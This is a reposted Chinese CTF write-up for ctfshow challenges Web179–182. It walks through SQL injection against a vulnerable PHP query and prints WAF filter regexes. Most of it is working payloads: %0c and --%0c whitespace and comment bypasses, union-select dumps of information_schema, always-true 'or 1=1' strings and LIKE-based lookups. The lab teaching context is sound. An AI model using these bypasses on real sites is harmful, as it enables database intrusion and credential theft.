Web179
进入界面:
审计
查询语句:
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
思路:
联合注入,但是要先测试过滤了哪些字符。
已知传入的id是单引号闭合形式,输入:
1' //提前闭合语句,能查询到数据。
1'--+ //返回无数据,说明注释符--+被过滤
1'%23 //成功返回数据
所以我们用%23作为注释语句后面部分的符号。
测试空格是否被过滤:
1' %23 //无数据,说明空格被过滤
//无数据
1'%09%23
1'%0a%23
1'%0d%23
1'/**/%23
1'+%23
//有数据
1'%0c%23
说明除%0c
外的空格替换符号都被过滤。
1'%0corder%0cby%0c3%23
order by 查出字段数为3
-1'%0cunion%0cselect%0c1,2,3%23
union select 找到各个字段对应的回显位置。
之后的步骤没有其他被过滤的字符了,走流程即可:
-1'%0cunion%0cselect%0c1,2,database()%23
-1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23
-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23
-1'%0cunion%0cselect%0c1,2,group_concat(username,password)%0cfrom%0cctfshow_user%23
得到flag.
Web180
进入界面:
审计
查询语句:
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
思路/EXP:
思路与上一题相同
查注释过滤:
1' //报错
1'--+ //返回无数据,说明注释符--+被过滤
1'%23 //无数据
1'--%0c //成功返回数据
所以我们用--%0c
充当注释符。
查空格过滤:
1' --%0c //无数据
1'%0c--%0c //有数据
查字段数:
1'%0corder%0cby%0c3--%0c
字段数3
查字段回显位:
-1'%0cunion%0cselect%0c1,2,3--%0c
爆库:
-1'%0cunion%0cselect%0c1,2,database()--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(username,password)%0cfrom%0cctfshow_user--%0c
得到flag.
Web181
进入界面:
审计
查询语句:
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
过滤了空格及其所有的替换字符
过滤了一些注释符
过滤了file,into,select
思路/EXP:
可以说是过滤了联合注入的手段.
直接查找username为flag的数据:
-1'or(username)='flag
//也可以
-1'||username='flag
-1'or(username)='flag'--%01
-1'||username='flag'--%01
-1'or(1)='1'--%01
-1'||1='1'--%01
得到flag.
Web182
进入界面:
审计
查询语句:
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
在上一题的基础上多过滤了flag
思路/EXP:
使用万能密码:
-1'||1='1'--%01
直接爆出整个表,得到flag.
也可以使用SQL中的like运算符:
SQL 中的 LIKE 是什么?
LIKE 运算符在 SQL 中用于寻找与特定模式相匹配的值。它使用通配符 %(百分号)和 _(下划线),允许您指定要搜索的值的特定部分。
百分号(%)
百分号匹配任何数量的字符。例如,LIKE ‘%john%’ 将匹配 john、john smith、johnny 等值。
下划线(_)
下划线匹配单个字符。例如,LIKE ‘j_hn’ 将匹配 john,但不会匹配 johnny。
-1'||`username`like'f% //注意这里username是用反引号包围的
-1'||`username`like'fla_
-1'||(username)like'fla_ //用括号包围也可以
-1'or(username)like'fla_ //当然可以使用or
得到flag.
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » ctfshow(179->182)--SQL注入--更多过滤与like运算符
发表评论 取消回复